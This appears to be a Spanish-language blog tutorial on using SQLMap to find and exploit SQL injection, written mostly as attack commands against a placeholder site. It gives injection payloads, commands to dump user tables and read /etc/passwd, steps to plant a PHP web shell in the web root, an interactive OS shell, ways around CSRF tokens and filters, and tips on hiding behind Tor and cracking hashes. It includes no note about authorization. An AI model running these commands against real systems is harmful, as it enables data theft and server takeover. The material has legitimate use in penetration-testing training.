Secciones
1. Introducción a SQLMap
SQLMap es una herramienta open-source escrita en Python que automatiza la detección y explotación de vulnerabilidades de inyección SQL (SQLi). Desde su lanzamiento en 2006, se ha convertido en el estándar para pentesters y expertos en ciberseguridad. En este blog, desglosaremos su funcionamiento, desde lo básico hasta técnicas avanzadas.
2. Instalación de SQLMap
SQLMap viene preinstalado en distribuciones como Kali Linux, pero si necesitas instalarlo manualmente:
# Instalación en Debian/Ubuntu
sudo apt install sqlmap
# Clonar repositorio GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
# Ejecutar
python sqlmap.py
3. Bases de Datos Compatibles
SQLMap soporta más de 30 sistemas de gestión de bases de datos (SGBD), incluyendo:
- MySQL, PostgreSQL, Oracle
- Microsoft SQL Server, SQLite, MongoDB
- ¡Y muchos más!
4. Tipos de Inyección SQL que Detecta
SQLMap es capaz de explotar todos los tipos de SQLi conocidos. Usando --technique
, puedes especificar cuál aplicar:
sqlmap -u "http://ejemplo.com/?id=1" --technique=BEUSTQ
- B: Blind Based (Booleano)
- E: Error-Based
- U: Union-Based
- S: Stacked Queries
- T: Time-Based
- Q: Inline Queries
4.1. Ejemplo de Blind SQLi:
AND 1=1 -- Respuesta TRUE
AND 1=2 -- Respuesta FALSE
4.2. Ejemplo de Error-Based:
AND GTID_SUBSET(@@version,0) -- Provoca error con información sensible
5. Ejecución Básica
Para escanear una URL vulnerable:
sqlmap -u "http://ejemplo.com/vuln.php?id=1" --batch
--batch
: Omite preguntas interactivas.-u
: Especifica la URL objetivo.
Salida clave:
[INFO] GET parameter 'id' is vulnerable
[INFO] the back-end DBMS is MySQL
6. Manejo de Errores y Verbosidad
Para depurar problemas, usa:
-v 6
: Máxima verbosidad.--parse-errors
: Muestra errores del SGBD.-t traffic.log
: Guarda el tráfico HTTP.
sqlmap -u "http://ejemplo.com/?id=1" -v 6 --parse-errors -t /tmp/traffic.log
7. Ajustes de Ataque
Personaliza el ataque con:
--level
(1-5): Controla la profundidad de las pruebas.--risk
(1-3): Define el riesgo de las payloads.
Ejemplo:
sqlmap -u "http://ejemplo.com/?id=1" --level=5 --risk=3
8. Enumeración de Bases de Datos
8.1. Información básica:
sqlmap -u "http://ejemplo.com/?id=1" --banner --current-user --current-db --is-dba
--banner
: Versión del SGBD.--current-user
: Usuario actual.--is-dba
: Verifica si es administrador.
8.2. Volcar tablas:
sqlmap -u "http://ejemplo.com/?id=1" --dump -T usuarios -D testdb
-T
: Tabla específica.-D
: Base de datos.
9. Bypass de Protecciones
9.1. Anti-CSRF:
sqlmap -u "http://ejemplo.com/" --data="id=1&csrf-token=ABC123" --csrf-token="csrf-token"
9.2. User-Agent Aleatorio:
sqlmap -u "http://ejemplo.com/?id=1" --random-agent
9.3. Tamper Scripts:
sqlmap -u "http://ejemplo.com/?id=1" --tamper=between,randomcase
between
: Reemplaza=
porBETWEEN
.randomcase
: Aleatoriza mayúsculas/minúsculas.
10. Explotación del Sistema Operativo
10.1. Lectura de archivos:
sqlmap -u "http://ejemplo.com/?id=1" --file-read "/etc/passwd"
10.2. Escritura de archivos (Web Shell):
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap -u "http://ejemplo.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
10.3. Shell Interactivo:
sqlmap -u "http://ejemplo.com/?id=1" --os-shell
11. Consejos Finales
- Privilegios DBA: Si
--is-dba
devuelveTrue
, ¡tienes control total! - Diccionarios Personalizados: Usa
--wordlist
para cracks de hashes. - Tor: Anonimiza tu IP con
--tor
.